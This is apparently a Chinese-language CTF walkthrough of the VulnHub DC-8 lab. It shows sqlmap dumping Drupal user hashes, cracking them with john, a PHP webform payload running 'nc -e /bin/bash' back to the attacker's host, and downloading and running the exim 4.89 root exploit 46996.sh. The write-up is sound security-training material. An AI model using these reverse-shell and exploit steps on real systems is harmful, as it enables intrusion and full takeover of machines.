前言
这次靶场实战是vulnhub下的DC-8,下载地址为DC: 8 ~ VulnHub,准备工作还是一样的,下载解压后用vmware打开,设置网络适配器的接口为NAT模式
一.准备工作
输入以下命令,这个命令在以前的靶场实战中已经说过很多次了,这里就不再赘述了
arp-scan -l
可以得知,靶机的ip地址为192.168.188.133
输入以下命令,从下图可以得知靶机开放了22端口和80端口
nmap -sV -A -p- --min-parallelism 100 192.168.188.133
输入靶机ip地址到浏览器,此时我们要着重注意存在数据交互的地方,这些地方往往存在着可以利用的漏洞
在我们点击Welcome to DC-8这个标题时,可以发现浏览器多了一个参数nid=1,猜测可能存在sql注入漏洞,在后面添加单引号看看是否会报错,如果报错则存在sql注入漏洞
可以发现确实存在sql注入漏洞,并且还列出了sql查询语句
二.sqlmap爆破
使用sqlmap来对这个网站进行爆破,输入以下命令
sqlmap -u "192.168.188.133/?nid=1" -p nid --dbs
-p 指定有sql注入漏洞的参数。
–dbs 表示列出所有数据库名称。
可以看出,该网站存在两个数据库,其中information_schema时mysql的默认数据库,存放一些配置信息,d7db就是该网站的数据库,继续对该数据库进行爆破
sqlmap -u "192.168.188.133/?nid=1" -p nid -D d7db --tables
-D表示针对d7db这个数据库
--tables表示列出该数据库中的所有表
发现其中存在着一张user表,可能会包含管理员的相关信息,继续对这张表进行爆破
sqlmap -u "192.168.188.133/?nid=1" -p nid -D d7db -T users --dump
--dump表示列出这张表的所有信息
找到了两个账号admin和john以及他们对应的密码$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
三.爆破密码
此时我们先将两个密码写入一个文件中
然后使用john进行爆破,输入以下命令
john pass.txt
从上图可以看出爆破出了一个密码,turtle,经过测试发现是john的密码,我们登录网站的后台,尝试是否能建立一个反弹shell
四.反弹shell
发现网站里面并不存在可以登录的地方,猜测可能对网页进行了隐藏,输入以下命令
dirsearch -u 192.168.188.133
对网站目录进行爆破
目录项有点多,差不多花了三分钟,最后我们找到了一个疑似登录的网页
输入该网页地址
登陆后应该寻找可以写入php代码的地方,只有能执行代码的地方才能建立反弹shell。经过多次尝试后发现按照下列步骤操作能执行php代码
在Form settings等了好一会儿才进去,猜测可能会是我们寻找的地方
<?php
system("nc -e /bin/bash 192.168.188.128 4443")
?>
注意:192.168.188.128是本地kali的ip地址!!点击save configuration(一定要记得保存,不然输出还是原网页里面的字符,会导致kali本地监听不到这个4443端口)
然后在本地监听4443端口
rlwrap nc -lvnp 4443
然后在Contact us里面随便写点东西
提交之后,里面的php代码也会跟着执行
此时我们升级shell,输入以下命令
python -c 'import pty;pty.spawn("/bin/bash")'
五.提权
终于,我们获得了一个交互式的shell,现在就进行提权,首先试一试sudo -l提权,发现不行,试一下suid提权
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
suid提权可以参考这篇博客Linux下利用SUID提权-腾讯云开发者社区-腾讯云
发现里面有一个比较可疑的文件,exim4,先搜索下这个文件的版本,使用msf搜索下看看有没有可疑的文件
版本号是4.89
并且msf里面也存在着相应的漏洞可以使用
把 46996.sh复制到当前文件夹,并查看一下该文件中的注释,因为在注释中有说明使用方法,同时将该文件中的换行符换成unix格式的换行符,输入以下命令
searchsploit -m 46996.sh
vim 46996.sh
:set ff=unix
该程序有两种方法来获取root权限,可以在提权的时候都尝试一下。现在需要将该文件上传到靶机中,首先在该提权文件目录执行一下命令。输入以下命令
python3 -m http.server 80
相当于开启一个网站,供其他主机下载
然后将该文件下载到靶机
cd /tmp
wget 192.168.188.128/46996.sh
可以发现已经下载成功了
此时我们要赋予46996.sh执行权限,并按照注释中提示的方法执行该程序。执行程序后等待一会儿就提权成功了。要注意的是如果没有提权成功可以多尝试几次,提权成功后过一会儿又会失去root权限,输入以下命令
chmod +x 46996.sh
./46996.sh -m netcat
此时发现,已经提权成功了
输入以下命令
cd /root
cat flag.txt
六.总结
每次看到这个welldone真的很开心,最终还是攻克了这个靶场,遇到了很多问题,也收获了很多知识,对于想入手网安的小伙伴们,攻克一个靶场真的可以收获很多,有疑问的小伙伴们也可以私信我,一起学习,一起成长